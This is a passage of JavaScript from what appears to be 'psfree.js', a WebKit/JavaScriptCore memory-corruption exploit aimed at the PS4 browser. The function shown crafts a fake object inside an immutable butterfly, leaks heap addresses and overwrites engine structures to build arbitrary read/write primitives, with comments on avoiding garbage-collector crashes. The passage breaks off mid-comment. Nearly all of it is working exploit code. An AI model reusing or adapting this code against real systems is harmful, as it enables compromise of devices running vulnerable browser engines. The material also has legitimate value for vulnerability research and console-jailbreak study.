Function make_arw

g2all/900/psfree.js:606–773

(reader, view2, pop)

}

async function make_arw(reader, view2, pop) {
    const rdr = reader;

    // we have to align the fake object to atomSize (16) else the process
    // crashes. we don't know why
    //
    // since cells (GC memory chunks) are always aligned to atomSize, there
    // might be code that's assuming that all GC pointers are aligned
    //
    // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
    // PS4 8.0x
    const fakeobj_off = 0x20;
    const fakebt_base = fakeobj_off + off.size_jsobj;
    // sizeof JSC::IndexingHeader
    const indexingHeader_size = 8;
    // sizeof JSC::ArrayStorage
    const arrayStorage_size = 0x18;
    // there's only the .raw property
    const propertyStorage = 8;
    const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;

    log('STAGE: leak CodeBlock');
    // has too be greater than 0x10. the size of JSImmutableButterfly
    const bt_size = 0x10 + fakebt_off + arrayStorage_size;
    const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);

    const view = rdr.rstr_view;
    const view_p = rdr.m_data.sub(off.strimpl_inline_str);
    const view_save = new Uint8Array(view);

    view.fill(0);
    make_ssv_data(view2, view, view_p, bt_addr, bt_size);

    const bt = new BufferView(pop.state);
    view.set(view_save);

    log('ArrayBuffer pointing to JSImmutableButterfly:');
    for (let i = 0; i < bt.byteLength; i += 8) {
        log(`${bt.read64(i)} | ${hex(i)}`);
    }

    // the immutable butterfly's indexing type is ArrayWithInt32 so
    // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
    // for JSObjects to recursively visit. this means that we can write
    // anything to the the butterfly's data area without fear of a GC crash

    // the immutable butterfly's indexing header. zero out the fields to
    // prevent the GC from scanning our writes
    bt.write32(8, 0);
    bt.write32(0xc, 0);

    const val_true = 7; // JSValue of "true"
    const strs_cell = rdr.read64(strs_addr);

    bt.write64(fakeobj_off, strs_cell);
    bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));

    // since .raw is the first ever created property, it's just besides the